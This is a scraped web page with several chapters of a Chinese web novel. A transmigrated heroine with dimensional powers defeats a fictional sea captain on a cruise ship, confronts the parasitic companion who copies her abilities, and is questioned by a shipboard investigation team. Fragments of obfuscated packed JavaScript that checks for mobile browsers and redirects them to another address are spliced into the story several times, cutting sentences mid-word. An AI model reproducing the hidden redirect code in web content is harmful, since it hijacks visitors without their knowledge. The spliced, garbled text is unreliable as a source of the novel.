l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462238|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长举着匕首的手腕。 系统：【触发技能“高维显形”】 叶提星愣了一下，很快确认了这个虚影既熟悉又陌生。 没有戴金属护腕也没有穿黑色背心，而是穿着小熊图案睡衣，波点花裤衩和拖鞋。 这不是渡鸦，是现在代替了渡鸦的高维人丛黎。 她里莎船长的反应也慢了一拍：“你……” 丛黎看向船长，说话的时候还有些气喘，她刚才缺氧缺太久了：“有话好好说，我不杀你，不就行了嘛。” 船长的眉毛挑了起来：“不可能。” 丛黎看着她：“我也想活着。” “你可以接受你的影子替代你。但对于我来说，即便是平行世界的我，也不能替代我，我想用这个自己活着。” ［你看，你不是有自己想做的事吗？］ ［你活着，就相当于我活着。］ ［我请求你这次活下去。］ …… 虽然来这里并不久，但她也有了不少认识的人，有过不少有趣的对话。 “有人对我说过，我活着就相当于她活着。我想用这个自己活着。因为下一个我并没有经历过这些。”丛黎的态度依然是温和的。 船长不耐烦了，她让二代船长用“反弹”挣脱丛黎的束缚。 丛黎倒退了一步。 眼见叶提星要过来，船长和二代船长身上的海草触手同时伸展，数量几乎膨胀了好几倍，张牙舞爪地伸向四面八方。 船长：“你的求生意志还没有强到能抵挡我的程度，你的手上仍然有我的印记。” 丛黎搓了搓手上黏糊的海草：“我的确浑浑噩噩的。” “但被你这么一来，我现在很兴奋，我也很想活下去了。” 她脸上露出了笑，手上的海草像失去了黏性一样脱落下去。 船长难以置信地叫出来：“不可能，你刚才……” 丛黎理所当然地回答道：“我是会改变的。” 我是会改变的。 她恶作剧似的补充道：“但是纸片人的设定是一成不变的。” 纸片人的设定是一成不变的。 “纸片人在低维时间线里才会成长会蜕变，会获得新的技能。而在高维时间线里，纸片人得到的所有——都是不符合人设，都是outofcharacter。” “只有掌管天气和电磁信号的她里莎船长，才是她里莎船长，拥有‘低维空间’异能的船长，是ooc的船长。” 随着她的话音落下，二代船长的轮廓消失了。 她里莎船长下意识想动用“低维空间”异能，却发现自己再也无法召唤她虚构的二代船长。 异能“低维空间”，消失了！ 系统：【触发S级技能“法则审判”】 系统：【技能书：法则审判，仅适用于法则系异能，通过指出敌人所运用的法则错误，剥夺敌人的法则能力。】 14. 刺客之跃14 系统公告：【关于世界观的公告会随着玩家触发而陆续放出。本次触发的世界观公告：#异能一级分类#，法则系异能、破法则系异能】 突如其来的全服系统公告仿佛往论坛里扔了个营销号，到处都是“沸腾”“炸开锅”“震惊”的标题党。 1L：总算来公告了，这是第一个公告吧？还是玩家触发的？ 9L：是和异能有关的，我……我没有异能，我装了个机械植入体啊啊啊，什么时候来个关于机械植入体的公告啊！ 12L：什么是法则系和破法则系？ 34L：我在异能相关的机构工作（厚厚打码），那里对异能的分类是： “控制系”（最常见的控制某样东西） “隔绝系”（结界之类的） “连接系”（连接上什么东西之类的） “干扰系”（幻觉之类的） 没听说过法则系和破法则系……这是什么？ 62L：34楼说的那些，不都是破法则系吗？超能力之类的，不就是超过自然规则吗？ 63L：楼上应该是正解，因为公告说的是“一级分类”，就说明是最高级别的分类，二级分类可能就是34楼说的那些。 法则系异能：（未知） 破法则系异能：（控制系、隔绝系等等） 74L：所以说到底什么是法则系异能！ 100L：我想起今天下午论坛上那个，“高维空间”，这不会就是法则系异能吧？ 107L：不可能吧？高维空间是不是“连接系”？我觉得它也破坏自然规则了。 190L：高维空间就是法则系异能，它是由更高维度的法则维系的，只是不符合当前这个维度世界的法则而已，它本质上还是……算了编不下去了，不知道怎么回事。 231L：讨论到现在，没有人讨论“触发”那个条件吗？所以，到底是哪个大佬触发了这个世界观公告？在我无聊数蚂蚁的时候，大佬都在干什么？上天下地吗？ 丛黎还没来得及看论坛，只知道系统连续跳了几条消息，在脑子里嗡嗡嗡响。 她正忙着生存。 游览船上一片混乱，信号和电力都处于熄火状态。没有监控，船组工作人员也无暇管理，各方势力趁着时机开始行动。 逃亡者猎手盯上早已怀疑的乘客，黑色交易者互相抢夺手中的货，要反叛势力的趁机反叛，要抓人的趁机抓人。 唯独607舱房舱门打开，平静地散发着结界的光芒，却无人进入。 船上的结界，意味着那里是对决生死的斗兽场。 她里莎船长失去了“低维空间”异能，也失去了二代船长拥有的“反弹”异能，现在光是叶提星就可以轻易杀死她。 但问题在于，船长依然拥有“天气之手”和“电磁操控”。 “全船人的性命都在我手上。”这回是船长主动提出了谈判，她看起来不是很情愿，眼神里布满了阴翳。 如果谈判不成功，就是同归于尽的局面。 丛黎尽力让自己的态度看起来更有诚意一些：“答案很简单，我答应不杀你，你也答应不杀我，你好我好大家好，这次旅行就让我们平安到达，下次再也不见。” 叶提星从刚才开始就必须不停说话以拖延时间，现在终于能用上她那懒洋洋的说话方式了，她无情地蹦出两个词：“恢复，和解。” 恢复电力和信号，两边和解。 谁知船长冷笑了一声：“哦？” “我有一个条件，我要见那个共生者，黎舍之。” 丛黎心里咯噔一下。 刚才，在局面里处于上风的她里莎船长迟迟不动手的原因就是黎舍之。 叶提星抛出了这个情报诱饵，用“共生者黎舍之有可能会反噬”这个理由威胁船长。 如果不是因为这个诱饵，船长恐怕早已全面入侵盒子的领域、掠夺高维能量了。 “我不能容忍我的谈判对象对我撒谎，否则我有理由怀疑，你们提出的一切条件都是谎言！”船长眼中诡异的雾气浓郁了一些。 丛黎硬着头皮，装作若无其事地说：“黎舍之，你出来走两步。” 可是她知道：如果黎舍之果真能够和她交流，那么他当时根本不需要借助亚尔弗的意识连接来和她解释高维空间降临的事了。 她怀疑她和黎舍之只有单方面的感官体验共享，根本不是叶提星所说的“共生”状态。 叶提星沉默着，她在意识连接里联系亚尔弗。 【叶提星】：亚尔弗。 【叶提星】：请告知，走两步。 【亚尔弗】：这简直是强人所难。 【亚尔弗】：我出去走两步行不行？让那只电子蟑螂出去替我走两步行不行？ 叶提星的嘴角缓慢抽了抽。 怎么可能行得通。 眼下看来，她里莎船长明显是知道黎舍之这号人物的，而且或许见过面。 指着一只蟑螂对船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462239|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长说这就是黎舍之，按照船长这个多疑的性格会相信吗？ 【亚尔弗】：让我和船长意识连接一下，我转告，行不行？ 叶提星捏紧了拳头。 【叶提星】：请转告，黎舍之，走两步。 和船长进行意识连接势必要让电子蟑螂出来跑几步。 然而在结界这个特殊的环境里，船长是眼睛瞎了才会看不见蟑螂是从哪里跑出来的。 船长看向叶提星，语气里满是讽刺：“在十二年前我见过黎舍之，我认得出他，也知道他拥有什么异能。如果你撒谎，我们的谈判就到此结束。” 果然两人见过面。 丛黎一边思考，一边却瞥见自己运用“高维显形”显现出来的形象，小熊睡衣花裤衩，内心郁结。 玩游戏穿越的时候就穿着这套…… 在场的和不在场的都是大佬，只有她一副跑错片场的样子。 “恐怕无法显形。”叶提星开口道。 船长神色凌厉：“我问的是她，你闭嘴。” 随后，她的目光如刀锋般投向丛黎：“你的共生者呢？” 丛黎：“……黎舍之。” 她没抱什么希望，但她说出话的那一瞬间，一个若隐若现的轮廓在她身边浮现！ 被锁链四周捆住，铁链如蛇延伸到轮廓之外的阴影里，皮肤苍白近乎透明，低垂着眼，血污满脸。 这个轮廓在转瞬间消失。 “黎舍之。”船长愣了一下，“当时我没办法杀了你，所以没露面。下次见面，我一定会杀了你。” 叶提星恍然。 怪不得，亚尔弗刚才传来的消息是：低维空间，第一次遇到这种异能。 原来上一次黎舍之遇到船长的时候，船长蛰伏着，没让他们发现她。 正在叶提星松了一口气时，她里莎船长忽然变了脸色大笑起来。 海上狂风四起，暴雨随即落下，圆盘般的漩涡瞬间涌现。 船长根本不打算谈判！ 丛黎抬起手，照着船长刚才入侵她的领域所做的，从空无之壁内探向船长的领域： 【维度侵入】 船外狂风暴雨肆虐，她里莎船长青黛色的长发飞舞着，苍白的面容像瓷像一样破碎，和身形一起化为密密麻麻的文字。 构成船长一生的文字，黑色的字符，如同铺天盖地的鸟群，随着船外一声惊雷，扑棱棱消散在结界内。 系统：【你获得了她里莎船长的异能抗体】 15. 刺客之跃15 她里莎船长号正经历海上风暴。 漩涡的浪脊卷挟千钧之力，如同开了深渊巨口，将漂浮的船生吞下去。 船上势力的纷争在霎时消减至微末，只有求生意志驱动着他们。 “我们都要死在这里了，船长从刚才开始就打算和我们同归于尽。” 叶提星显然是丧失求生欲的那类人，她的脸上反而有了笑意，连语句都通畅了。 亚尔弗在叶提星的意识连接里急得乱转。 【亚尔弗】：总算给你逮到自杀的机会了是不是？但是渡鸦不能死啊！想想办法！ 【叶提星】：哦。 丛黎撤去“高维显形”，重新回到盒子里，她默默召唤出二代船长：“麻烦你了。” 叶提星对于二代船长的突然出现感到吃惊，她下意识做出攻击姿态，但二代船长的表现让她瞠目结舌。 “我来结束这一切。”二代船长开口说道。 “法则审判”，剥夺敌人的法则能力——并获得一次体验机会。 二代船长制服上的海草触手妥帖地在衣服上安静下来，不再四下张狂。 在那一瞬间，船只所遇的漩涡猛然停止，悠荡成平静的海水，暴雨止息，天空的密云渐渐散去。 舱房里逐一亮起了灯，电力恢复的时候船上的机器人开始异口同声：“重启成功……” 风暴停止，电力恢复，信号覆盖。 这一切完成后，二代船长的影子慢慢消失。 嘀，体验卡结束。 丛黎还挺舍不得二代船长的。毕竟船长的异能实在太好用了，可惜她只有一次体验机会。 叶提星：“谢谢。” 丛黎在盒子里躺平：“那个仿生人快要醒来了。” 叶提星：“我在他重启前离开。” 叶提星撤走结界，正要走的时候，丛黎忽然想到一些重要的事： “让亚尔弗跟我连接一下，我有话要问他，”她猛地坐起来，“——等等别用蟑螂的形体！” 叶提星走到盒子边，用手触碰了一下盒子：“连接了。” 叶提星离开607舱房后，顺带关上了门。 在等待苍术的行为芯片重启的过程中，丛黎复盘了一下局面。 第一，当她的生存意志提高时，她的体内就爆发出了强有力的能量，自然而然地领悟到了“高维显形”和“法则审判”。 她里莎船长也说过“求生意志不强，所以很容易进入了过渡领域”这样的话。 异能，似乎和求生欲有一定的关联。 第二，高维空间属于法则系异能，这点是系统提醒她的，法则系异能和破法则系异能到底有什么关系？法则审判又是怎么回事？有待研究。 第三，“维度侵入”是她根据船长的行动推理出来的。一开始，当她把手探入空气墙里摸索的时候摸到了船长的海草触手，那是船长正在入侵她的“领域”。 这种入侵行为好像只能在法则系异能内部运用。 并且能量越强，领域越不容易被侵入。 在最后那个时刻，她里莎船长的维度领域脆弱得一击即溃，她很快就入侵成功。 大概是因为那个时候的船长已经不想活了，宁可同归于尽。 第四…… 【亚尔弗】：连接了又不和我说话，你怎么回事？ 她烦得很：“在复盘，别打扰我，我等会叫你。” 【亚尔弗】：复盘！你和渡鸦简直是一脉相承。 她：“……你吵死了。” 亚尔弗郁闷闭嘴。 结束复盘理清思路后，丛黎总算开始搭理亚尔弗：“帮我转达叶提星，问她关于船长的事。” 【亚尔弗】：……叶提星那个女人说话都说半句，刚才战斗谈判的时候耗尽了她半年的连词和副词。 【亚尔弗】：好吧我给你转达，用完整的语句转给你。 【叶提星】：你想问她里莎船长的传说？其实这些能力设定在民间流传的时候一直作为历史人物“莉莎船长”的野史，直到班智根据民间传说写下《她里莎船长》，这个虚构人物才真正诞生了。班智是在五十五年前死亡的。 丛黎：“班智被异能吞噬，她里莎船长代替了班智，所以她可能已经在这个世界上待了五十五年？” 【叶提星】：很有可能。为了活下去，她真是蛰伏了好久。如果没遇到你，她可能还会继续隐藏自己。 丛黎：“活下去……她真的有那么喜欢这个世界吗？为什么？” 【叶提星】：那你呢？ 丛黎：“我不是很喜欢这个世界，但我要活着。” 【叶提星】：为什么？ 丛黎：“你可以想象成一杆天平，一开始‘生’的重量是6，‘死’的重量是4，我只是轻微偏向于活下去。但如果有人在‘死’的那一端扔下砝码，就如船长迫切地希望我死，她施加给我的压力越重，我在‘生’这一端加的重量就越多。她让‘死’的重量变成10，我就会让‘生’的重量变成100。” 【叶提星】：一种……反叛心理？ 丛黎：“也不是，就很怪，只是不喜欢被逼迫的感觉。” 【叶提星】：船长大概也是这样。她可以容忍自己隐姓埋名蛰伏几十年，但不能容忍自己被动屈服。你占据上风后，她的生存意志就完全消解了，她根本不愿意站在下位者的地位上进行谈判，对她来说，离开这个世界反而更好。 【叶提星】：不过，只要“她里莎船长”这个故事存在，她就一直在低维世界活着，她怎么都不算亏损。 丛黎：“如果我在这里死了，在我自己的世界我还会活着吗？” 【叶提星】：我不知道。 丛黎：“你似乎对这个话题很感兴趣，会主动说起很多。” 【叶提星】：哈哈。 隔着屏幕丛黎都能感觉到叶提星的尴尬。 她连忙转移话题：“除了关于船长的情报，我还有一个问题。” “我要让黎舍之回答我。” “他的异能到底是什么？他为什么也能做到‘高维显形’？” 她脸上的神色沉肃下来，死死地注视着屏幕，等候回答。 过了好一会儿，空无之壁的屏幕上才出现文字。 【黎舍之】：复制共生。 【黎舍之】：在你领悟“高维显形”的时候，我也顺着你的感觉领悟到了。 丛黎的手藏在身后，她握紧了拳头，嘴唇紧紧抿起来，没有继续问下去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462240|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 亚尔弗及时出来打圆场。 【亚尔弗】：你之前答应过我的吧？见了黎舍之别动手，给他留一条命。算我再求你一遍。 丛黎说不清自己是什么感觉，头脑有些空白，震撼和麻木顺着眼眶窜流至四肢百骸。 难怪。难怪之前亚尔弗会突然说那样的话，突然请求她放过黎舍之。 原来—— 寄生在她意识里的黎舍之能偷窃她所有的能力，知道她一切的弱点。 …… 一万只蟑螂在身上爬的感觉。 在“生”的那一端，她已经压下100的砝码，可是在这个时候，黎舍之出现了。 他以“仁慈”的面目告诉她：请你活下去。 但他却是一个监视者，一个偷盗者，一个最大的敌人。 她又吃惊又痛苦地发现，在这个瞬间她脑子里冒出来的第一个想法是：除掉黎舍之。 丛黎讨厌这种感觉。 即使知道自己面对的都是低维纸片人，她仍然无法舍弃“主动杀人”带来的内疚感。 但她必须承认，她厌恶黎舍之这个存在，她如鲠在喉。 【黎舍之】：你可以那么做，那是合情合理的。 她抬起眼，注视着屏幕上的文字。 亚尔弗不知道她心里在想什么，但黎舍之知道她正在思考怎么除掉他。 只有她和黎舍之知道这句话其中的含义。 自穿越以来，她每天都在接受冲击，正如船长说的“她不知道自己要做什么”，浑浑噩噩混混沌沌。 但是现在她忽然产生了除了“活下去”以外的其他强烈欲望。 她把藏在身后的手放到身前，握紧成拳的手指节泛白，一字一句地说： “我会搞清楚十年前的事，也会弄明白十年后你们对我的策略，你们背后的势力。” “然后，我会根据情况除掉你，或者除掉你们。” 她说出这些话的时候，几乎感觉自己不像自己，可是那又确实是她自己。 她自己的愤怒，自己的憎恨，自己的欲望，自己的驱动力。 “黎舍之，只要我还活着，留给你最好的结局就是仅仅被剥夺能力和记忆。” 【黎舍之】：好。 …… 丛黎实在太累了。 亚尔弗退出她的意识连接后，她就昏睡过去了。 等她醒来时，空无之壁上漆黑一片。 她睡得昏头转向，打开“一级远景”，猝不及防看到了苍术的手臂，连忙打开“二级远景”。 舱房里很暗，关了灯。 苍术在窄窄的床铺上休息，双臂抱着盒子。 “你还好吗？”苍术问。 她以为苍术正在休眠，吓了一跳：“我很好。” 苍术听到了回答，松了一口气：“太好了，你还活着……我醒来后，每隔一分钟就会问你一次，直到现在你才回答我。” 丛黎：“我睡得太熟了，你不用那么紧张。” 苍术拢紧双臂，用力抱住怀里的盒子。他在黑暗里睁着眼睛，淡灰色的瞳中映着舱房里指示灯的亮光。 “我知道是你保护了我，我好像梦到你了，看到了你的模样。可是仿生人也会做梦吗？” 16. 刺客之跃16 苍术在船上死了两次，也重启了两次。 他像支离破碎的玻璃，仿生人行动芯片里的重启储备如同玻璃胶一样把他重新粘合起来。 “……我好像梦到你了。”苍术有些恍惚地说。 丛黎无情地打破他的哲学氛围：“那不是梦，你看到的是真的。” 组织比苍术更在意在刚才失去信号的十分钟内到底发生了什么。 她现在必须给组织一个交代，与其让他们以审讯的方式满腹怀疑地询问她，不如她先发制人。 丛黎首先问他：“你知道些什么？” 苍术回忆：“……对手是两个女性，明亮的背景，像是结界，她们用海草缠住了你，我撕开了一部分，我的视野里似乎还扫描到了另一个人。我听到她们好像在谈论‘共生者’这件事。” 丛黎的头开始疼了：苍术重启的时候，居然一下子了解到那么多信息，这下她想撒谎都难。 更糟糕的是，她根本不知道组织是否能读取在信号丢失的那段时间，苍术芯片里的记忆画面。 有几点最好向组织隐瞒事实。 第一，叶提星、黎舍之和她之间的关系。该怎么解释昔日的仇人忽然和解？ 第二，她的异能“高维空间”。目前组织只知道她能隔空移动物品，对她所拥有的能力了解得并不确切。但“高维空间”这个异能一旦透露出去，一定会招致危险。 第三，她里莎船长的异能“低维空间”。这个线索不免让人联想到“高维”。 她的脑子飞速运转，一边开口解释道：“事情有点复杂，我慢慢讲。” “想杀我的是她里莎船长。你见到的两个女性，是不是长得差不多？那是船长的影子。” 苍术有些诧异：“她里莎船长……？” 丛黎：“另一位想杀我的是叶提星。不知道她从哪里召唤了船长这个虚构人物，布下结界，煽动船长对我的仇恨，试图借刀杀人。烦人。” “叶提星她发现了你？”苍术警惕地坐起来，将盒子抱得更紧，再次扫描舱房内的环境。 丛黎：“没事，我杀死了她里莎船长，重创了叶提星，她在船上没有其他同伴，暂时不会不自量力地和我作对。” 吹牛吹得她头皮发麻。 她半真半假地对苍术解释了事情的经过，刻意省略了很多细节。 但她不确定组织是否会相信这个解释。 …… 芯片程序的另一端。 阿魏从芯片感官记忆里提取出那段时间的文件：“只有几秒的声音画面，可能因为刚重启，画质很模糊。白前，我把文件放进模拟机了。” 戴着面具的孩子点了点头，坐进感官模拟机中。 头盔和电极，密密麻麻的线路。 接通模拟机电源后，那一瞬间的感官记忆文件像潮水一样涌来。 图像、声音、触感、味道。 白前在感官模拟机里重复试了好几遍，摘下头盔：“是她里莎船长和她的影子没错。叶提星和她里莎船长正在讨论共生者的事。” 阿魏“嘶”了一声：“虚构的人物……这么离谱的事居然是真的，渡鸦居然真的没骗人。” 此次行动的负责人桑寄却皱起眉： “叶提星以什么方式召唤出虚构人物？” “渡鸦的能力到底是什么？” “共生者又是指谁的共生者？” 阿魏对自己的监视很有自信：“在我们眼皮底下，应该不会出岔子。” 桑寄：“说不好。” 一直沉默的白前忽然开口道：“我们的目的达到就可以了。” …… 丛黎把“突遇袭击”这件事对苍术用糊弄学解释了一遍。 暂时应该算是有了个交代。 她还没来得及刷论坛，一条系统消息像西瓜一样砸在了她的脑袋上。 系统：【触发任务“调查船上停电断信号的原因”】 丛黎的反应停滞了足足有十多秒。 船上，停电断信号。 在这个世界上，才发生过停电断信号意外的船会有几艘？除了被她里莎船长的“电磁操控”影响的停电断信号，还有什么情况会导致停电断信号？ 任务的指向已经非常明确了：就在她里莎船长号上。 系统忽然跳出触发任务的提示，这说明——她里莎船长号有其他玩家，触发了这个任务。 仿佛有碎裂的西瓜劈头盖脸地从她头上流淌下来。 丛黎有点崩溃了。 只是去刺杀总统而已，又不是什么登月行动，至于这么一波三折吗？！ 舱房内，自动播放的广告小屏幕上正切换到“登月旅游”的海报。 丛黎：“……” 好吧，在这个世界，登月行动确实比刺杀总统容易。 论坛上的帖子随着任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462241|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务触发铺天盖地。 3L：让我看看谁又触发了任务，瓜子板凳都拿好了，反正我现在没有在船上。 34L：这个任务好恐怖，如果有黑客之类的玩家，随便查一下就知道这个时间段有哪艘船断电断信号了，可以确定船上有玩家。玩家如果完成了任务，就更好定位了，一找一个准。 57L：话说完成任务到底有什么奖励？现在还没有人完成任务吧？ 90L：这个游戏机制就很迷，什么都不说，我觉得像模拟人生一样，现在触发的任务都和我无关，我也没有异能，无聊无聊无聊！ 98L：哈哈哈前两个任务“刺杀总统”和“阻止神秘组织刺杀总统”，怎么想难度系数都很高。现在这个任务倒是稍微简单一点。坐等完成任务的那个玩家先来说一下，到底有什么奖励。 丛黎面无表情地关掉论坛投影。 人与人之间的悲欢并不相通，她的生活有点太刺激了，想活着都难。 正想着，607舱房的门铃被按响了。 来人是雇佣兵霜，他问苍术：“刚才我睡着了，没有注意到船上的情况，只知道好像断电了，还有海上风暴，你知道发生什么事了吗？” 苍术斟酌了一下：“我和你一样，也在休息。” “我以为这次航行会很平静，没想到事那么多。”霜的语气有些苦恼。 丛黎还是第一次看到霜露出这么懊恼的表情。 这次航行本来是成熟的黑色产业链中一个螺丝钉，遵循流水线一样的操作就可以顺顺利利把苍术送到硫磺市。苍术甚至选择了最简单的“海路”。 但是事与愿违，到海晶市的码头后，霜就被打晕了，幸运的是没有出什么岔子。到船上后，又是断电又是断信号还有大风暴，航行的不确定性大大增强。 代入一下打工人霜，丛黎也觉得窒息。 发完牢骚，霜重新恢复那副稳重的样子，提醒道：“航区官说，船组会派出调查员搞清楚刚才那些怪事的源头，怀疑乘客中有人在搞事。所以可能会有秘密调查员过来，我得留在这里，应付随时可能出现的情况。” 苍术平静道：“多谢，我会小心的。” 霜：“调查组可能会来，我去外面看看。” 丛黎的心情却平静不了一点，她模样颓废地靠在空气墙边，等待着下一轮意外。 她里莎船长号的早晨，是以秘密调查开始的。 17. 刺客之跃17 调查小组来得猝不及防，敲开了607舱房的门。 不算宽敞的空间内涌进了来自上流社会的二氧化碳，像沙丁鱼罐头里放了金贵的鱼子酱佐料，让两边的人都坐立难安。 之所以这么说，是因为为首的那个儒雅俊秀的年轻人似乎并非船组工作人员，而是像大有来头。 他穿着合身而传统的西装，规矩地打着领带，和这艘游览船的风格大不相同，没有机械护具和机械义肢，整个人气质干净而陈旧。 “纪学默。” 调查组的年轻人简单地介绍自己。 跟在纪学默身边的是一个浑身都闪着金属光芒的男子，人高马大的颇有威慑力，他没有报上自己的名字，而是审视着舱房里的摆设。 调查组的最后一名成员染着血红的头发，眼尾纹着艳红的花纹，甚至张扬地戴了一条项链，上面有字“赤纹的莉莉丝”。 整个调查组的风格充满了不协调。 雇佣兵霜一副不知所措的样子站起来：“我是他的朋友，抱歉，请问我需要走吗？” “不必。”纪学默的回答。 “走。”金属男的回答。 “哈哈哈，不必走。”莉莉丝的回答。 霜尴尬地笑了笑，坐下了。 盒子被妥帖地放在苍术的口袋里。 丛黎在空无之壁上开了两面墙观察外界，又开了一面墙的远景，在船外的海面上训练自己的异能。 有了她里莎船长的异能抗体后，她使用起异能来稍微放心大胆了一点，毕竟她里莎船长的人设是拥有两个异能的高抗体人。 她想改进一下她的“高维显形”。 用她那种原始形象显形可太寒碜了，也有点危险。 显形地点：远景三层，海面上 显形体积：二十厘米高的形像 训练目的：修改显形着装 丛黎一边训练异能一边注意着舱房内调查组的行动。 纪学默问：“在刚才的意外中，你们有否受到损失？是否存在需要赔偿的情况？” 金属男皱眉：“我搜查一下舱房。” 莉莉丝蔑然地笑了一声：“有搜查令吗？没有就敢乱来？你歇着吧。” 霜和苍术都露出了一副无语沉默的样子。 这个调查组，不仅是风格上存在不协调，在内部意见上也互不相合。 “在那段时间内，有人在这里看到了结界，而今天晚上工作人员只施放过一次结界！时间对不上！” 金属男冷笑道。 丛黎额头上沁出了汗，同时在训练“高维显形”的动作停滞了一下。 她就说怎么调查组来得那么猝不及防，那么精准地盯上了607舱房。 更糟糕的是，当时的情况确实是开着门比较划算。 关门，工作人员从外面看到门缝里透出的光芒，在船上完全停电的状况下一定会对这里有灯光产生怀疑。 而不关门，却能暂时打消工作人员的怀疑，让他们以为这里的结界只是船上寻常的斗殴结界而已。 成也结界，败也结界。 雇佣兵霜的脸色变了：“结界……？苍术，怎么回事？” 苍术对结界的来历心知肚明，但他却无法正面回答，他摇了摇头：“不清楚。” 如果能把事情推给结界能力者叶提星，或许会简单得多。但他不能暴露自己知道叶提星的异能这个事实。 金属男音调扬起，往前一步，气势逼人：“对此没有解释？还是说，这个结界根本就是……” 纪学默伸出手拦住了上前一步的金属男：“加里。” 那个名叫加里的金属男的话头戛然而止，他厌恶地看了一眼纪学默拦着他的手。 纪学默：“我们来这里只是询问是否需要赔偿，没有其他意思。异能是重要的秘密情报，任何组织或个人不得强迫别人说出自己的异能，我们当然也不会那么做。” 金属男加里觉得难以置信，嘲讽地问：“你的意思是你觉得他有可能是结界能力者？” 纪学默沉声道：“我不是那个意思，但是船上存在第二个或第三个结界能力者，这个可能性我们必须要考虑到。在事情没有搞清楚前，我们没有权力随意怀疑乘客。” “他说的对，”莉莉丝一副看好戏的样子瞥向加里，“船上可能有其他的结界能力者，但不一定和607有关。” 丛黎默默腹诽：606是结界能力者，thisway，sir。 不过按照纪学默的说法，异能是重要的秘密情报，在这个世界里异能可能是比身份证和银行卡密码还要核心的个体安全码，船组大概率不知道叶提星的异能也是结界。 现在调查组的困境是：既无法证明607舱房与船上断电断信号这件事有关，也无法彻底打消对607舱房的怀疑。 莉莉丝在终端上看了一眼消息：“不过有一件事，我倒想问问苍术先生。您和您的妻子是在哪里第一次见面的？” 她撩了一把头发，用调侃的语气加了一句补充：“如果不介意的话？” 金属男对607的怀疑建立在“有人目睹了结界”这个事实上。 而莉莉丝对607的怀疑则建立在“亡妻的骨灰盒”上。 在事件发生不久前，宣传零重力舞池的机器人来过，并将“亡妻”这个线索上传到了船组的乘客信息库。 海面上，“高维显形”的丛黎小人戴了一半面具，又摘下来，全神贯注地听苍术的回答。 “秘密基地。”苍术冷静地答道。 “谢谢，如果您不在意的话，我还有问题。您和她之间有什么印象深刻的事吗？”莉莉丝继续问。 苍术：“我建了她的全息投影模型。” 莉莉丝饶有兴趣地挑起了眉：“哦？你们真有意思。最后一个问题，为什么带着她来这里？” 苍术沉默了片刻：“我可能会和她一起死。” 雇佣兵霜吃了一惊。 莉莉丝用手摸了摸眼尾的红色花纹，耸了耸肩膀，看向纪学默：“他没有说谎。我的话问完了。” 海面上的丛黎小人松了一口气，却也开始紧张：莉莉丝的异能不会是和测谎有关的吧？ 金属男加里语调讽刺：“证明了他有妻子，然后呢？然后就能证明他没有动机没有作案事实了吗？你是真蠢还是真没觉得他在有意避开你的提问？” 纪学默提醒道：“加里，措辞。” 莉莉丝双手抱臂：“我利用我的话术，也相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462242|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的直觉，而真正的蠢货只会横冲直撞而已。纪学默，该你了。” 调查组里地位最高的纪学默用右手食指和中指按了按左手手掌心，微微皱起眉，思考了一下。 “很抱歉，我的组员冒犯了您，也冒犯了您的妻子。” 船身忽然剧烈地抖了一下。 “正在绕过撞狐岬角，风浪有点大是正常的。”莉莉丝提醒道。 撞狐岬角？ 正在海面上训练“高维显形”的丛黎意识到机会来了。 纪学默正要继续说话：“如果……” 船上爆发出了惊人的巨响，垂挂着旗子的桅杆仿佛被巨大的无形之手猛地一扯，从甲板上拔地而起，随着一声沉闷的响声，桅杆断裂。 印着公司标志的旗帜在气流中卷飞，如同树叶一般坠下，在海面上漂了几秒后，很快被浪涛吞没。 正在甲板上观赏海面景色的乘客惊声叫起来。 在混乱的尖叫声和嘘声中，船组工作人员匆匆赶过来查看情况。 撞狐岬角这一带的风浪较大，船体左右摇摆着。 船员让甲板上休息的乘客进入船中，以免受到伤害，但这阻碍不了好事之人的行动。 有人嘴里咬着烟，坐在高耸的观景台上，眯起眼看向远处：“狐兽。” 顺着乘客的视线，船员们看到了不远处的景象。 